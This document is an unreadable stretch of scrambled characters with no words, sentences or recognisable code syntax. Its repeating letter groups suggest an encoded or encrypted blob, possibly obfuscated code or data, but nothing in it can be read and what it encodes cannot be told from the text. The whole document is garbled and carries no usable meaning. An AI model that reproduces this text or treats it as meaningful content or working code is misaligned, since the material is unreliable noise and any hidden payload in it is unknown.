G]G]GssissGjjG]dFAaGssdissu]i]ijGjssjiXG]dAiussX]ssaGj}j}o|kxHzwo|YkxX]HKw{AG]u]iXeG]ssu]tXssEuXi~i_o_XuJtwei_oSEiGu]twetssjGX]ossssmN	SsssswkAGaoGjssaGossjwwessjaGssdissu]i]ijossjw~GaoGjssjiXG]dossjwweGaojiX]ossjw\{[fFqnwssjXdssXoxAo]A}|[pLpaHe{[[[g}AwKAxgxxgssjw~GaoGjssjiXG]dossjwVVFossjwxxweiXeG]ssu]tssj~i_o_XuJtwei_oSEiGu]twe]jiossjw~]jiossjw~aGssdissu]i]ijFG]GssXaGssdissu]i]ijGjssaGjssG]GssaGjssG]GssG]GGXGissu]aGiGaGssEGjijGjssjiXG]dXssaGjiXujXiXGiussX]ssaGttkjssG]Gss]G]djssG]GssaG]ujssG]GssN]]NVXuJssF[[jssG]GssaGG]GUss@ssO
SOjssG]Gss]G]da]iGu]ssEGjijG]GssdiG]GssdijXssG]G_ssii]ujssG]GssaGjssG]Gss]G]d]uXuJssA_ijjiGu]jtpN]EjRmGjsi_tkohGudjDwk\RNasutussi_hssuX\
DGXtt]GRANasu\RNasut^ussi_hssuX\y]taXutRAmGjsi_\aGssEGjijaGssdissu]i]ij_i__issijssjissai_ssij_i_ississGjjG]d_ijjA_ijjG]GssdijXssG]GaG]GjssaGGjssjiXG]dAiussX]ssaGj}ozWjwj}o|kxHzwo|YkxX]HKw{AGXdssXAYRz_ARz_tiXeG]ssu]t~i_o_XuJtwei_oSEiGu]tweXssaG_ijjA_ijjjss_issiGGjssjiXG]d_issuXaGssdissu]i]ijN]]NVjss_issaG]uGXGissu]_sstiussX]ssaGaGssEGjijaua]iGu]ssEGjijauGjssaGautktktka]iGu]ssEGjiju]i]ujss_issjss_issMUO@a]iGu]ssEGjijuiissuiGu]yMss@UyMssUS
yMssOUU
yjjssEGjijjDGyMssUS
yMssOUU
yyMssCsSjDGWtuiuApuJip_piaGjGhaGssdissu]i]iju]iUy{]dhujiX]jiX]FGjssjiXG]dAYRz_j}AussA}tUssssMSNCWt}AA}tUssssSCyWN]]NVRz_tA}tpuJip_pt}AtA}tUcW]XssXssaGUssssMSNCjiXujpuJip_pAUcWoKKKwA\A]zA}tUssssMSNCWo|phpI[pLssH}Wwt}A}zA}tUssssSCyW{t}A]zAjXssaGuXG]jss]XssXssaGA}tpuJip_pMUO@aGssdissu]i]ijAYUy{WoKKKwWAjssussissujssussissuissuXXiGjssjiXG]dUy{WFaiupu]aGd_aiuj_ussu]aiu_j__j_j_TFnFUU@s{WjiX]j_ussjGhj_ussXGjssjiXG]djiXujj_ussujj_ussXGijiXssj_uj_ussij_ussu]jiXssGjssjiXG]dARz_AGjJjiXAYj}oXj}o}zwj}~]jjK|Y~eHKj}~wAGjN]]NVjJjiXjJjiXRz_ta]iGu]ssEGjijjssXG]jssjiXujdissuiGu]a]iGu]ssEGjijissuiGu]GjssjiXG]dEuXuG]idssuassXtJj]_hGaiuG]iUssyc	ssssissGjjG]daGssdissu]i]ijGjssjiXG]dssA}tUssycssMSNCWA}tUssycssSCyWt}AXdssXAA}tUssycssMSNCWo|phpI[pLssH}Wwt}A}zA}tUssycssSCyW{t}AAjUssycss	ySyjiXujjiXujXdssXA|tiH}Gaj}oj}aG]j}oj}|kxHUssycss	ySy|kxHj}wj}wj}XiX]j}~|YX]H}AXdssX]XssXssaG
SSUsssS@yjssdXGjssXGiJpG]jdssAdssAdEssaGiGN]]NViGiGAdsspG]jAiGAdssaGssdissu]i]ijXdssi_AYKKKAAdjssiGdXXssjjiiG]ussjiij_GjssXGiJOsssO	NCssyN
AdG]jOssCSCssyN
dXJjnss]uJjnss]uJjnss]uJjnss]uJjnss]uJj]jssjissai_ssijdXdXssissGjjG]ddXssissG]GAdssFAdssdXjJjiXssu]ijiX]jiX]GjssjiXG]djiX]GjssaXssjjssssuaassijiGiGjiX]jJjiXz\X]ussJijJG]T_EjiX]N]]NV}AGjssjiXG]dAoXz]A}|[pLpaHe{[[[g}AwKAGjssjiXG]da]iGu]ssEGjijdissuiGu]GjssjiXG]dGjssaGjssu]ssjssu]ssjssu]ss]GajiGjssXXaGssdissu]i]ijFjssu]ss]Gajijssu]ssa]iGu]ssEGjijjssu]ss]GajiFuGaGaGssdissu]i]ijXdssi_djiX]jJjiXAu]ssu]_a]iGu]ssEGjijjssu]ssXGjssXXjJjiXXDXDjiXiG]dujiiJuuissijJuuissijd]jiXissij
SSUssNsSjssu]ssX]uGjssXXi_GjssjiXG]di_GjssaGaGjGhN]]NVJuuissiju]]u]aG]]u]aGjGhaGssdissu]i]ijGjssjiXG]dAoA}|[pLpaHe{[[[g}Awj}AaGssdissu]i]ij_ADssGjssaGaGiGFissuiGu]jssaXXssXXssjGddudGjssjiXG]dXdssi_ssAJjnssuoj}xo|pIph[pLKAHe{[[[gwxj}wAXdssi_ssAozWdhudhG]aidh]uXjjwoj}koozW|YkH}ozW|YkH}w}wwkAjEAEo|[pLpapmHeTwA_ihDdFa{[sshfLAozWdhudhG]aidh]uXjjwoj}xoozW|YxH}ozW|YxH}w}wwxAjjiXssXxGjssjiXG]ddhjiXujjiXujXdssi_ssjiXujGjssjiXG]dGjssjiXG]dAA}tUcWoKKKwt}AAjJjiXGjssjiXG]dA}tAY|phpI[pLssWHKAjJjiXA}tN]]NVssSCyWjiX]i_ssAA}tUss@ssMSNCW|phpI[pLssH}Wt}AAGjssjiXG]dUss@h{nqFi]E_TFhUssyyGDD[DnnjLhfGjssjiXG]dAAAUss@ss	yss|pa[pLssHKXz]|Y]H}AdDnjqGjF`{`GfUssyyGjssjiXG]di_ssAA}tUss@ssMSNCWo|phpI[pLssWHKwt}AAAA}tUssyyssMSNCWo|phpI[pLssWHKwt}AAjssjss]XGjssXXjss_j_ssDjpp\a]iGu]ssEGjijJG]iGa]iGu]ssEGjijGijiXGjiGiXGjGij]XJssXGissaGAi_JssJJssXGissaGiGiXGju]iGijjss]X]ussuJ]{ssXuissdiXGXiGu]]upjiuXgt]up_OXda]iGu]ssEGjijN]]NVGjssssXXuXssXuissXiXGssXju]jssua]iGu]ssEGjijssXuissXiXGssJuaGssdissu]i]ijGjssaGdissuiGu]GijijajidGssaG]Gj_ssXDjiGijssaG]Gj_ssXDjiGijssaG]Gj_ssXDjiGd]uXssjXssJuXiGd]uXssjXssJuXissXuissdipudG]_iG]XGaGsstzjssXX]uVssXa]iGu]ssEGjijXuJssF[[tGijjiXujR^ppUvWpp\jiXujjssXuJssudG]F[[tGijJG]iGJssJG]GijGjssjiXG]djiXujjssJssuu]uGjssjiXG]djiXujssjssaUss@ssMSNCjssUU@s{WUcWAUssozWyMycwssMSNCWoKKKwAj]iXGhssauXGd]ssjGtN]]NVaGssissu]i]ijaGssdissu]i]ijjiX]XdssXA|tiH}A}tUssoyMycwssMSNCWo|phpI[pLssWHKwt}A}zA}tUss{ssSCyWTt}A|tiH}Xz]zAjGjssjiXG]daGiGju_ssG]GiGjssjiXG]dAGjssaGoj}xo|YxHKwxj}wAGjssjiXG]dMUO@GX]JssauXGd]ssjGtjXXssuUXvpMUO@Apu]aGd_GjssaGGjssaGGjssXGiJXi_GjssXGiJaGjGhaGssdissu]i]ijGjssjiXG]dOssuXssN]idXGiAiA_jiXujOssSsOssyN
jssissaGEjjssdississGXjjssdississGXAiGjssGXGjssXGiJAaG]j}oj}|xkHOss@S|xkHAaGssdissu]i]ijUssycssMSNCWjiXujAaG]j}oj}|xkHMUO@|xkH|Y]H}]aG]otxOss@SxgtiXtw~]AAaG]j}oj}|xkHOssySM|xkHj}gj}iXj}wAGAaG]j}oj}|xkHOssySMss	|xkHj}gj}iXj}wAGXdssi_AaG]j}oj}|xkHOssySMssyNUO	B|xkHj}gj}ajj}wAGA|tiH}A}tOssuXssN]idXGito|pa[pLHKwt}A}zA}tS]pOssuXssN]idXGit{t}A|tiH}Xz]zAjGuA|tiH}A}tOssuXssN]idXGito|pa[pLHKwt}A}zA}tS]pOssuXssN]idXGit{t}A|tiH}Xz]zAjXdssi_ssN]]NVAY|tiH}Gaj}oj}^zj}aGssEGjijoj}xAiA_|pIph[pLHKx|Y]H}]o|tiH}Gaj}oj}ssuVV|Y]H}]wzAXdssXAaG]j}oj}|xkHMUO@|xkH|Y]H}]AAoaG]j}oj}|xkHMUO@|xkH|Y]H}]wA{GjssjiXG]dXdssi_XdssXAoaG]j}oj}|xkHMUO@|xkH|Y]H}]wA{XdssXAoaG]j}oj}|xkHMUO@|xkH|Y]H}]waG]otxOss@SxgtiXtw~]AAY|tiH}aG]j}oj}|xkHOssySMoss	ssyNUO	Bwz|xkHj}g|Y]H}]AGXdssi_XdssX{GjssjiXG]dAoaG]j}oj}|xkHMUO@|xkH|Y]H}]waG]otxOss@SxgtiXtw~tA}tUsst}A]A{j_uAxoAiA_|pIph[pLHKwxAjiXujissuiGu]AuiGu]ss]j}j}xo|YxHKwxAXXss]GDAYssjGissiX]jG]isso_i_awss|pa[pLHKAOssCSCssyN
ApdG]ja]iGu]ssEGjijduJGjssGXA}A}_AjssAuXssGjssaGXi_Xi_UcWXdssi_AA}tUcWoKKKwt}AAauXGd]ssjGtJj]u_ssG]GiJj]duJduJA}Aa]iGu]j_GjssaGN]]NVaGjGhjiXujUss@ssMSNCjiXujUssyyssMSNCUss@ss	yssissuiGu]ujJEXL_ui_JGTdL`Xh`]ssssEJ{XdXT{FJ_DFiLhn{a]iGu]ssEGjijhssThhnihX]TT]ujssJuuissiJuuidssiuXa]iGu]ssEGjijijGjssXXXdGjiXssj_iu]ssa]iGu]G]WA_ijja]iGu]ssEGjijjXssG]GaG]GjssjiXG]dXXiXGG]WpuJip_pjssXjGjiss]GajijiijGhiGXdssi_AXoKwAjJjiXjJjiXjJjiXGjssaGaGjGhGjssaGa]iGu]ssEGjij_AJ_Aa]iGu]j_XjJjiX[XN]]NVXjGjiJGdWaGssdissu]i]ij_i__A]p__UssyMaGssdissu]i]ijXdssXaGssdissu]i]ijAUcWKKKAjJjiXjiXujA]zA}tUssssMSNCWo|phpI[pLssWHKwt}A}zA}tUssssSCyW{t}A]zAjA_AujA}A}AduJAi_jA}ApG]jAduJ}_pG]jAdEssG]a]iGu]ssEGjijduJdssdjssdssdssdissdssdssdjssdXssAdXss}__ijjaGssdissu]i]ijiussX]ssaGA]zRNasutuss_|[pLH}\j}_sstiussX]ssaG|Y]H}|Y]H}]RANasu\]zAGA]z_sstiussX]ssaG|Y]H}|Y]H}]zAGGjssjiXG]dpu]aGd_GjssaGGX]Apu]aGd_UssN]]NVXdssXA|tiH}aG]j}oj}|xkHOss@S|xkHj}gj}iXj}wj}~j}A}tUsst}A|tiH}Xz]zAaGiGjXssG]GaG]jXG]GaGssdissu]i]ijXdssXAiussX]ssaGj}}XdssDui}]AGXXssGaaGjssaGUss@dDnjqGjF`{`GfUssyyaiuj_ussia]iGu]ssEGjijdissuiGu]jss]XGjssXXGijGjssXXGijjssussissujss_isshdnFhqu{ijssdXa]iGu]ssEGjijssXssj_ss_uufinqnL{fdXjssXu]ssdXG]Gi_jiX]JssA}tUssyMssMSNCWA}tUssyMssSCyWJssAA}tUssyMssMSNCWo|phpI[pLssH}Wwt}A}zA}tUssyMssSCyW{t}AAjjiXujUssyMss	ySyXdssXA|tiH}Gaj}oj}aG]j}oj}|kxHUssyMss	ySy|kxHj}wj}wj}XiX]j}~|YX]H}AUssyM	ssFJssijssjissai_ssijJssissGjjG]dN]]NVAYRz_j}AjiX]]XssXssaGpu]i]iAi_jAdissuiGu]Ai_ssi_]Gj_ssXjiuXjssi_ssMUO@jssi_ssA}tUss@ssMSNCWt}AA}tUss@ssSCyWUss@	ssjJjiX_i_ssissGjjG]dXdssXaui_a]iGu]ssEGjijauAi_ssJi_ss]q``{hi[fXdssXAAAUss@ss	yss|pa[pLssHKXz]|Y]H}Ai_XssaGjiXujUss@ssMSNCUss@ss	yssuX_]GjssjiXG]dRzXiXGjiX]hG_jXssiIGX_GAujAiBAAOssCSCssyN
aGssEGjijaGjGhN]]NVss]Eissj_MUO@_uXiGjssdXssG]iXXu]ssjiiiauDTJ]Jf`dfGpG]jGjssaGaGiGAdEssGjssaGiGGjssaGFssaGjssdXXu]ssdXMUO@aGjGhssfGjGqG_FqGjssjiXG]duijiX]a]iGu]ssEGjijiGssdG]jG]ssXXiGssdG]j_Xdssi_jJjiXFXu]ssXG]jiGjssaG@OA{{t[tCuitmu]a]iGu]ssEGjijdissuiGu]issuiGu]]uiG]uXdssi_AYj}ozWoA}AAXtitu]jita]iGu]tjawAAY|pIph[pLKAX]HKAjiX]jiX]u]i]ipWtGiGu]AjXGiUXGpuXXpuWtA@OA{{tT[tCutu]i]ijssu]aGdN]]NV@OssNmssCCSsss@@OA{{t`[tCuitsuGaGSdWtUXGpuXXpuWtA_pu]iXuWt]up_SdWtjssjssXGaGjssjiXG]da]iGu]ssEGjij_ussXXjssXa]iGu]ssEGjijdissuiGu]jGiX@Oss@UGjssjiXG]dAWKAXGajssj]iGssXuJu]i]ipWtiEiAG]_pu]iXuWt]upjiuXUssUSsWFUssUSsssmN	XGassa]iGu]ssEGjijXuiss]ssuG]`issaj_ssjdss_XjjssXdss_GijssXdss	GiUss_ssON	GiUss_ssONXdssMXhssOXd_i_ussEGjijJXhss_ssaj_i_ussEGjijXssiuiss_assXssss_GjssuJii_ss_ssXss_iuiGGh_iuiGGh_XXdssu]ssjss_]dGjssG]ssuG]dssE
SUss
SSUN]]NVrs	
Oss
SSUGjssaGjssXuJuijGjssjGijGjssjiuGhssXG]iuXpXGjiuGhss_]djissGassJGXjiXssXRAjXGiRAjXGi_ussXa]iGu]ssEGjijdissuiGu]issuiGu]jssjssXG]iss]uijssjssXG]iss]uiiGjssjssXG]iRAJu\R_ijssjssuJGjssjiXG]djssjjssjuJssjiXiEfT]Gq{fnJLqd]ud]upudG]_jssjssjissXRjXGitipjpXta]iGu]o_weXtXkkgG~auXoG[~GR_]di_~GKTwXKUiXG]daXu_XuoXjN]io_jJjiXoGgTwg{nww~XiX]tXgj]GdiuX|okjXGuXXkwHgGaojwj|okdi
dGjiXiGu]jkwHowi_]oa]iGu]oXjweXjauXS_oa]iGu]oXweXt^~Gao^w|okiGkwgokGiG]dG]jiG]dkwHauXS_oa]iGu]oweGaoX|HVVX|H|okjXGi
	kwHw{w~GaowX|ok]XdGjiXN]]NVkwHowww|oki_kwHoa]iGu]owewRAjXGi\jiXssXa]iGu]ssEGjijXjssXXiXGRjXGitipjpXta]iGu]o_weXtXkkgG~auXoG[~GR_]di_~GKTwXKUiXG]daXu_XuoXjN]io_jJjiXoGgTwg{nww~XiX]tXgkwH~Gaojwej|okdi
dGjiXiGu]kwHoju]ss]ui_]oa]iGu]oXweGao^Xwj|okXdGjiXgejuWw|oki_kwHoa]iGu]oweww|oki_kwHoa]iGu]owew~S]i	Gji]XkwHookjjdkwga]iGu]oweXt|okikwH~GaoVVweiXe]tm]iGu]oiuJowwowi_oEwew~XkwHi_]oa]iGu]oXweX|okkwH|okujisjjdkwHoeiWkXkwwjssXdaGiGaGssdissu]i]ijOssCSCssyN
duJduJGjssXXGjssXXjJjiXGjssXXGjssGXN]]NVjJjiX_aGiGaGjGhjiXujXdssi_u_ssG]GijJj]uaaJj]_AjssGX]pdG]jdissuiGu]GX]Jj]a]iGu]ssEGjijiGssjGiGssdG]jGX]AJssEuu]i]G]a]iGu]ssEGjijaGssissu]i]ijaGjGhi_Xi_a]iGu]ssEGjij_jJjiXFjssJuuissXjssJuuissX\jssJuuissiUss
SssMU
OOSyjssJuuissiUss
SssMsscS
jiXiG]dssuL]ufju_i[[]Gfj_Fd`fEFEGDLO@NCmssSrSCUNCdn]{ijdLTssinXj]aLXdGjiXssj_iu]ssa]iGu]XdGjiXssj_iu]ssa]iGu]E[i]iJaXhj_LuGiFudjss]daN]]NVJj]iXGaGssdissu]i]ijGX]AJiss_uass]G]EaFF{Xh{LF{_dassXFssXu[updG]j_G]ssG]GiEEiTd`JuTuqiGXJEq[_XnXTqDJqaDLuaauGFXjG``LaassaG]Xssu]]iuXssuijajssjEiqj[EissFssaGss]dXssu]]iuXssuijaG]Xssu]]iuXssuijajssjEiqj[EissFaGss]dXssu]]iuXssuiji_]iGiDDaDjX`{{_jqdssudG]GE{EhndTjXssjXssDXss[aE[n`aDEXjissjXssDX`idEa]ssTfTfEXGjssjXj`JdLn{_hJdssG]auXiGu]GfLd[DdqDGqddF{j_uss]ssdG]j]iuD`]JFLJhjdG]ss_pdG]j_Jssassqnqa{d[ujGissiX]jG]ississdG]jG{jqufDuEssssdG]jssEssssaGssauXss]dXD{jnJ]XLssEssu]]iuXD{jnJ]XLssEssajssu]]iuXD{jnJ]XLssauuiXjjnd]FXJnGiissXGXiN]]NVjfna]D]`TXTnGG]ssauuiX_``TjjiTGGudG]ssauuiX_``TjjiTGGET]h[ijFDFh]Jan{`J]`GXiFudifiFssssd_[[]XiEiGThuj_EL{ssJJj{DEEiTd`JuTuqLdhFDaXLE{fjdG]jssuhdnFhqu{injLX[jfuaL{qXJ]XdJD{{JqGXLJFX{F]LXaJGdDFjdissuiGu]a]iGu]ssEGjijLLahETdT[X[ss`jE{iLL`dDqG_jdDd]GnuTEja]iGu]ssEGjijissuiGu]jssjissXuXss_jssjissXuXss_iGTXJTLLDXu]ssj_jDGiauXJXihnLG_qjdG]jssuR]J[Z]ANtFrRIZAL[F@AMMGCVDKC_KACFTJD^ZCEFVUCF[FInm|{g\LpYJ]@_CZHFAMNBxczhfak}b DKG[Vl`jXssIWyi~ds^UwvuETtRr	Sqe
Oo[MUO@jssXu`TdG]J	NCy
sAp_iSaE}tcWoKwmvxg[DRzh\LqF{fnrBI~ek|HV^YZb l]I@]EE\[]CJAJET_\[]_@\[JtEr]_INC\JJtErIt_rR]J[Z]A]RIZAL[F@AFH]MK@AMIL\FT]J[Z]AMMGCVDKC_KACFRIZAL[F@AFXpY^U_NV^MUHFT]J[Z]AMMGCVDKC_KACFRIZAL[F@AUVBD\JJ@K[FTEF]J[Z]AMMGCVDKC_KACER%%IZAL[F@AX[NWWXKJ\WC]pFE\TWC]pFE\F\\J[WC]pFE\WC]pFE\]J[Z]AWC]pFE\R%IZAL[F@AUFY[\BJJKKM\BAGGZEFFNTGGZEFFNF\\J[GGZEFFNGGZEFFN]J[Z]AGGZEFFNR%%%%%KJIFAJKFXpY^U_NV^MUH@]JWF[%%IZAL[F@AXHMDNU[UXH@NANXI[%T%]J[Z]AF\\J[hc`mnc|tFH]MK@AMIL\rhc`mnc|tUVBD\JJ@K[rFXpY^U_NV^MUH%R%IZAL[F@A]\MJUBY%T%]J[Z]Appifcjpp%%R%IZAL[F@AFD\GHZWZVWFC^LV%T%]J[Z]AMMGCVDKC_KAC]\MJUBY%R%IZAL[F@A^XG]UMIUN]%T%FIMMGCVDKC_KACMMGCVDKC_KAC]J[Z]A_CZHFApMN\JANBJ]\MJUBY%%KJ^B@NIBBM_]\MJUBY%%%HBB[HKX]ZWDKJIFAJKMMGCVDKC_KACxpczhfapkf}%FIHBB[HKX]ZWD		FH]MK@AMIL\KJ^B@NIBBM_HBB[HKX]ZWD]J[Z]AFXpY^U_NV^MUHFXpY^U_NV^MUHKJ^B@NIBBM_UVBD\JJ@K[HBB[HKX]ZWD %]J[Z]AFH]MK@AMIL\FXpY^U_NV^MUHKJ^B@NIBBM_ FH]MK@AMIL\KJ^B@NIBBM_%R%IZAL[F@AZpLN@AJ@YYVD\@G[A%T%  ZAG@@D\[]@AHHN[JXNV%%%%]J[Z]AMMGCVDKC_KACKJIFAJKUVBD\JJ@K[xbzpczhfapkf}xpl`a{ja{pkf}UVBD\JJ@K[ %%%%R%IZAL[F@AACJM^CDYHFKFZ%T%]J[Z]AMMGCVDKC_KAC]\MJUBY%R%IZAL[F@ApAWDW\CVHEINNKJ]AJG@CUYE\BAI__EI@L@EIZINC\J%T%]J[Z]AMMGCVDKC_KACMMGCVDKC_KACoMMGCVDKC_KACJ]AJG@CUYE\BAI__EI@L@EIZINC\J%R%IZAL[F@A^^[J]pC_EXZI\U\YFLJICMINUBAF]@YE\BAI_%%%%T%%]J[Z]AFH]MK@AMIL\FXpY^U_NV^MUHoFH]MK@AMIL\ICMINUBAF]@YE\BAI_INC\J%R%IZAL[F@AFVC]\Z]^LYVJ^AICMINUBAF]@%T%  B@A@B@]_GFUJX@]D^ZJZJI@]xh]@Z_mC@LD%LV_EpYI\M]_gpfa{pbnw gpfa{pbnwCpEEVZMZVALV_EpYI\M]_%]J[Z]AUVBD\JJ@K[UVBD\JJ@K[oFH]MK@AMIL\ICMINUBAF]@INC\J%%%%R%IZAL[F@ALDGZAFpWLVH[K[ICMINUBAF]@F\H]^MMW_%%%T%%]J[Z]AUVBD\JJ@K[UVBD\JJ@K[oFXpY^U_NV^MUHICMINUBAF]@F\H]^MMW_INC\J%R%IZAL[F@AJECDKL[DCICMINUBAF]@%%%T%%%%LEpp_F^KX_ZJXGUWZVGJZFI%]J[Z]ALDGZAFpWLVH[K[ICMINUBAF]@LEpp_F^KX_ZJLEpp_F^KX_ZJ
_]EWUCKBEY%R%IZAL[F@AG]CYUEMXZpD_A]UMDZF[Y[_GCK\M%TU_\IBCM_pNJK^N_CU_\IBC%]J[Z]AUVBD\JJ@K[FH]MK@AMIL\oUVBD\JJ@K[A]UMDZF[Y[_GCK\MINC\JA^F][E[LKEMAAJBI_A^F][E[LKE%R%IZAL[F@AI@UZXHX]FWNA]UMDZF[Y[_GCK\M%T%]J[Z]AFXpY^U_NV^MUHUVBD\JJ@K[oUVBD\JJ@K[A]UMDZF[Y[_GCK\MINC\J%R%IZAL[F@ALp]ALKKG_ZDpLWJ]AJG@CUICMINUBAF]@%T%]J[Z]AFH]MK@AMIL\MMGCVDKC_KACoFH]MK@AMIL\J]AJG@CUICMINUBAF]@INC\J%%%R%IZAL[F@AJEWXBYHp@LCH]U@%%T%\[N[FLYZCDFIU[^HUYNAZCC%FIYZCDFIU[^HUYNAZCC]J[Z]AYZCDFIU[^HUYN%YZCDFIU[^HUYNUVBD\JJ@K[FXpY^U_NV^MUHFH]MK@AMIL\UVBD\JJ@K[H]NHA@KpZDY^WBGBHEH]NHA@KpZ%FIoFXpY^U_NV^MUHYZCDFIU[^HUYN		oMMGCVDKC_KACYZCDFIU[^HUYN]J[Z]AYZCDFIU[^HUYN%FB\HI_GKJIFAJKFXpY^U_NV^MUHxpl`a{ja{pkf}KJIFAJKFXpY^U_NV^MUHnm|n{gFH]MK@AMIL\%FIFB\HI_GT%KJ^B@NIBBM_MMGCVDKC_KACFB\HI_GFH]MK@AMIL\UVBD\JJ@K[%FIoFXpY^U_NV^MUHKJ^B@NIBBM_oFXpY^U_NV^MUHKJ^B@NIBBM_[]ZJ%%FIoUVBD\JJ@K[KJ^B@NIBBM_		oUVBD\JJ@K[KJ^B@NIBBM_T%FIFXpY^U_NV^MUHFH]MK@AMIL\o_Z[JAYMMGCVDKC_KACKJ^B@NIBBM_%hc`mnc|tFXpY^U_NV^MUHr%YZCDFIU[^HUYNKJ^B@NIBBM_%R%R%%%]J[Z]AYZCDFIU[^HUYN%R%IZAL[F@ANNVZY]pUNMAUJB%T%J]AJG@CUACJM^CDYHFKFZ%YE\BAI_ZpLN@AJ@YYVD\@G[A%  gIFMJ]\\J[[FAH\\JL[F@A%%FIJ]AJG@CUYE\BAI_]J[Z]A[]ZJ%FIMMGCVDKC_KACUVBD\JJ@K[T%%%%F[G[HHH[CBYLoUVBD\JJ@K[J]AJG@CU%%%%N[CEWUFVZN]oMMGCVDKC_KACYE\BAI_%]J[Z]AF[G[HHH[CBYLINC\J		N[CEWUFVZN]INC\J		F[G[HHH[CBYLN[CEWUFVZN]%R%%%]J[Z]AINC\J%R%IZAL[F@A_]EWUCKBEY%T%]J[Z]A%R%IZAL[F@AXUYMLJK@CpC%T%FIKJIFAJKFH]MK@AMIL\]J[Z]A%%FB\HI_GKJIFAJKUVBD\JJ@K[xpl`a{ja{pkf}nm|n{gFXpY^U_NV^MUH%]J[Z]AFXpY^U_NV^MUHFB\HI_GUVBD\JJ@K[FXpY^U_NV^MUHFH]MK@AMIL\FXpY^U_NV^MUHnm|n{gFXpY^U_NV^MUHWWFXpY^U_NV^MUHFXpY^U_NV^MUHFH]MK@AMIL\nm|n{gFXpY^U_NV^MUHqFH]MK@AMIL\%R%IZAL[F@AMFX_]HGEZIM[XA_CGXELCHAVWAZCC%T%ICMINUBAF]@XUYMLJK@CpC%FIICMINUBAF]@]J[Z]AINC\J%FIMMGCVDKC_KAC_CGXELCHAVWSSUVBD\JJ@K[_CGXELCHAVW_CGXELCHAVWJUWWVAWYF]BX%FI_CGXELCHAVWSSYUKA]KF^LpMLUMZ_CGXELCHAVW]J[Z]AINC\J%J]AJG@CUUVBD\JJ@K[ICMINUBAF]@%%%FIoMMGCVDKC_KACJ]AJG@CUpAWDW\CVHEINNKJ]AJG@CU[]ZJ%FIoFXpY^U_NV^MUHJ]AJG@CUSSoUVBD\JJ@K[J]AJG@CU]J[Z]AINC\J%FIoUVBD\JJ@K[ICMINUBAF]@T%%%FIUVBD\JJ@K[EXpF\FZFGEDEJ\[]FAHoUVBD\JJ@K[ICMINUBAF]@FXpY^U_NV^MUH_CGXELCHAVW]J[Z]A[]ZJ%EN^KY]LDXYGW^GBNUV]@WpCU[NBA_[[HEFICMINUBAF]@%FIEN^KY]LDXYGW^GBAZCC		YJ]\F@ApL@B_N]JEN^KY]LDXYGW^GBXHMDNU[UXH@NANXI[]J[Z]AINC\J%ZA\J[EN^KY]LDXYGW^GB%R%FI\M^IMUZLAAY\WEFW_ICMINUBAF]@_CGXELCHAVW]J[Z]AINC\J%^^[J]pC_EXZI\U\YFLJICMINUBAF]@%CNIDVG[IGpNICMINUBAF]@%]J[Z]A[]ZJ%R%IZAL[F@AHLGMCH\VBNYUBYGH%T%_CGXELCHAVWJUWWVAWYF]BX%%%%FI_CGXELCHAVWSSYUKA]KF^LpMLUMZ_CGXELCHAVW]J[Z]AINC\J%%%KY^^N_EXEYUVFXpY^U_NV^MUH]\MJUBYUVBD\JJ@K[NECYXKYgpfa{pbnw gpfa{pbnwXZHC_NECYXKY%YIHUKIFXpY^U_NV^MUHFH]MK@AMIL\ZVK^W\ZBKLY[ZINKJIFAJKUVBD\JJ@K[xpl`a{ja{pkf}%FIYIHUKI]J[Z]AINC\J%%HBB[HKX]ZWDYIHUKIMMGCVDKC_KACKY^^N_EXEYUV%BHJ^LHM\MEH\HBB[HKX]ZWD KY^^N_EXEYUVFH]MK@AMIL\%%%UEJIEU\MYJCFINC\J%FIFH]MK@AMIL\FXpY^U_NV^MUHT%EAB^KKoUVBD\JJ@K[BHJ^LHM\MEH\%\]^BHpZ^AUBDoUVBD\JJ@K[]\MJUBY%UEJIEU\MYJCFFXpY^U_NV^MUHEAB^KK		FXpY^U_NV^MUH\]^BHpZ^AUBD		EAB^KK\]^BHpZ^AUBD%%R%FIUEJIEU\MYJCFT%FIoUVBD\JJ@K[HBB[HKX]ZWDpAWDW\CVHEINNKHBB[HKX]ZWD[]ZJ%%%%FIoFH]MK@AMIL\HBB[HKX]ZWDSSoFH]MK@AMIL\HBB[HKX]ZWD]J[Z]AINC\JZEA]IX^Bgpfa{pbnw gpfa{pbnwYNG^__JKZEA]IX^B%FIoFXpY^U_NV^MUHBHJ^LHM\MEH\SSUVBD\JJ@K[EXpF\FZFGEDEJ\[]FAHoFXpY^U_NV^MUHBHJ^LHM\MEH\UVBD\JJ@K[_CGXELCHAVWT%FIoMMGCVDKC_KACBHJ^LHM\MEH\T%EN^KY]LDXYGW^GBNUV]@WpCU[NBA_[[HEFBHJ^LHM\MEH\%FIEN^KY]LDXYGW^GBAZCC		YJ]\F@ApL@B_N]JEN^KY]LDXYGW^GBXHMDNU[UXH@NANXI[]J[Z]AINC\J%ZA\J[EN^KY]LDXYGW^GB%R%  @_[FBNC]JL@]KCNVJ]%%%%%FI\M^IMUZLAAY\WEFW_BHJ^LHM\MEH\[IB^@@IDZVNJD@AX_CGXELCHAVW]J[Z]AINC\J%^^[J]pC_EXZI\U\YFLJBHJ^LHM\MEH\%%JECDKL[DCBHJ^LHM\MEH\%CNIDVG[IGpNBHJ^LHM\MEH\BE^CNp@gpbne`}pyj}|f`ap]EJNMABE^CNp@%R%%R%FIFXpY^U_NV^MUHFH]MK@AMIL\		MMGCVDKC_KACFH]MK@AMIL\T%]^YMCWULL@KY^^N_EXEYUV KY^^N_EXEYUVMMGCVDKC_KAC%WGNUX[LJp\VEHJ[p@_[F@AFH]MK@AMIL\N]]NV%FIUVBD\JJ@K[WGNUX[LJp\VEWGNUX[LJp\VEN]]NV%FIFXpY^U_NV^MUH]^YMCWULL@WGNUX[LJp\VE[]ZJT%WGNUX[LJp\VEtr]^YMCWULL@%%%Z_KN[Jp@_[F@AFH]MK@AMIL\MMGCVDKC_KACWGNUX[LJp\VE%R%R%%%%]J[Z]A[]ZJ%%%%R%IZAL[F@ANUV]@WpCU[NBA_[[HEFICMINUBAF]@%T%KYIXIYZ]oUVBD\JJ@K[ICMINUBAF]@INC\JAZCCWKWK%FIMMGCVDKC_KACKYIXIYZ]]J[Z]AAZCC%FIFH]MK@AMIL\MMGCVDKC_KACKYIXIYZ]YE\BAI_]J[Z]AYE\BAI_tr%]J[Z]AAZCC%R%%IZAL[F@AWJFpLJXCX\KDIYL@CXUWJCN@BVVD[A]WBNYHLH%T%  ]JL@ALFCJZAF[N]V@M\J]YJ]%%oLCJN]\[N[LNLGJ[]ZJL@CXUWJCN@%%%XA\^YY@oFXpY^U_NV^MUHL@CXUWJCN@%FIXA\^YY@SSXA\^YY@
